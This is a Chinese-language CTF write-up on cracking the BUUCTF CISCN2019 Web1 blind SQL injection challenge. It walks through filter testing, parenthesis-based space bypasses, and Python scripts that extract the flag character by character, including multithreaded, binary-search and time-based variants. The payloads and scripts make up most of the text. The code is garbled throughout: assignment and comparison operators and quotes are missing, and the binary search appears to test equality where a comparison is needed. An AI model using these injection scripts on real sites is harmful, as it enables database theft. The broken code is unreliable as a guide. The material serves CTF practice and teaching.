手把手教你用Python脚本高效破解BUUCTF盲注题在CTF竞赛中SQL注入一直是Web安全方向的高频考点。面对复杂的过滤机制和盲注环境如何快速编写自动化脚本成为解题关键。本文将以CISCN2019华北赛区Web1题目为例从手工测试到脚本编写详细拆解盲注题的完整破解流程。1. 理解题目与手工测试首先访问题目环境发现是一个简单的查询接口通过POST传递id参数。手工测试几个常见注入字符后页面返回Length482的提示说明存在过滤机制。常见被过滤字符测试结果输入字符返回结果结论空格Length482被过滤单引号Length482被过滤双引号正常返回未被过滤andLength482被过滤orLength482被过滤注释符Length482被过滤通过测试发现几乎所有SQL注入常用字符都被过滤但括号()可以正常使用。这提示我们可以用括号替代空格构造payload。2. 盲注原理与绕过技巧在传统SQL注入中空格是分隔关键词的重要字符。当空格被过滤时可以考虑以下替代方案使用括号包裹语句(select(flag)from(flag))使用注释内联/*!select*/flag/*!from*/flag使用换行符或制表符在本题目中括号是最有效的绕过方式。盲注的核心原理是通过布尔条件判断逐步推断出flag的每个字符。盲注payload结构示例id(select(ascii(mid(flag,1,1))102)from(flag))这个payload的意思是判断flag字段第一个字符的ASCII码是否等于102即字母f。3. Python自动化脚本编写手工测试确认注入点后接下来编写自动化脚本。我们将使用Python的requests库实现自动化请求。3.1 基础脚本框架首先搭建脚本的基本结构import requests import string def blind_injection(url): flag chars string.printable # 所有可打印字符 for position in range(1, 60): # 假设flag长度不超过60 for char in chars: payload construct_payload(position, char) if test_char(url, payload): flag char print(fFound: {flag}) break return flag if __name__ __main__: target_url http://example.com/index.php flag blind_injection(target_url) print(fFinal flag: {flag})3.2 构造payload函数根据题目特点我们需要构造使用括号绕过的payloaddef construct_payload(position, char): ascii_val ord(char) return f(select(ascii(mid(flag,{position},1)){ascii_val})from(flag))3.3 字符测试函数通过观察发现当条件为真时页面返回Hello否则返回其他内容def test_char(url, payload): data {id: payload} response requests.post(url, datadata) return Hello in response.text4. 脚本优化与加速基础脚本虽然可用但效率较低。我们可以从以下几个方面进行优化4.1 缩小字符范围根据CTF flag格式通常以flag{开头我们可以优先测试这些字符def get_char_priority(position): if position 1: return f if position 2: return l if position 3: return a if position 4: return g if position 5: return { return string.printable4.2 多线程加速使用多线程可以显著提高爆破速度from concurrent.futures import ThreadPoolExecutor def test_char_parallel(url, position, chars): with ThreadPoolExecutor(max_workers10) as executor: futures [] for char in chars: payload construct_payload(position, char) futures.append(executor.submit(test_char, url, payload)) for future in as_completed(futures): if future.result(): return char return None4.3 二分查找优化对于每个位置可以使用二分查找代替线性搜索def find_char_binary(url, position): low, high 32, 126 # 可打印ASCII范围 while low high: mid (low high) // 2 payload f(select(ascii(mid(flag,{position},1)){mid})from(flag)) if test_char(url, payload): low mid 1 else: high mid - 1 return chr(low)5. 完整优化脚本结合以上优化点最终的完整脚本如下import requests import string from concurrent.futures import ThreadPoolExecutor, as_completed def construct_payload(position, charNone, ascii_valNone): if char: ascii_val ord(char) return f(select(ascii(mid(flag,{position},1)){ascii_val})from(flag)) def test_char(url, payload): try: data {id: payload} response requests.post(url, datadata, timeout5) return Hello in response.text except: return False def get_char_priority(position): if position 1: return [f] if position 2: return [l] if position 3: return [a] if position 4: return [g] if position 5: return [{] return string.printable def blind_injection_optimized(url): flag for position in range(1, 60): # 优先测试常见字符 priority_chars get_char_priority(position) found False for char in priority_chars: payload construct_payload(position, char) if test_char(url, payload): flag char print(fPosition {position}: {char} - {flag}) found True break if not found: # 使用二分查找 low, high 32, 126 while low high: mid (low high) // 2 payload construct_payload(position, ascii_valmid) if test_char(url, payload): low mid 1 else: high mid - 1 if low 32 and low 126: flag chr(low) print(fPosition {position}: {chr(low)} - {flag}) else: print(fFailed at position {position}) break if flag.endswith(}): break return flag if __name__ __main__: target_url http://example.com/index.php flag blind_injection_optimized(target_url) print(fFlag found: {flag})6. 常见问题与调试技巧在实际操作中可能会遇到各种问题。以下是几个常见问题及解决方法问题1请求超时或无响应增加超时设置requests.post(url, timeout10)添加重试机制from tenacity import retry, stop_after_attempt retry(stopstop_after_attempt(3)) def test_char_retry(url, payload): return test_char(url, payload)问题2过滤规则变化动态测试过滤字符def test_filter(url, char): payload f1{char}1 data {id: payload} response requests.post(url, datadata) return Length482 not in response.text问题3结果不稳定添加结果验证def verify_char(url, position, char): payload1 construct_payload(position, char) payload2 construct_payload(position, ascii_valord(char)1) return test_char(url, payload1) and not test_char(url, payload2)7. 扩展应用与思路掌握盲注脚本编写技巧后可以应用于更多场景时间盲注当没有明显布尔回显时通过响应时间判断def test_time_based(url, payload): start time.time() requests.post(url, data{id: payload}) return time.time() - start 2 # 假设延迟2秒为真多条件组合处理更复杂的过滤规则def bypass_and_filter(condition): return f((1){condition}) # 用数学运算绕过AND过滤自动化工具集成将脚本集成到sqlmap等工具中在实际CTF比赛中建议先手工测试确认注入点和过滤规则再编写针对性脚本。同时注意题目可能有非预期解保持灵活思维很重要。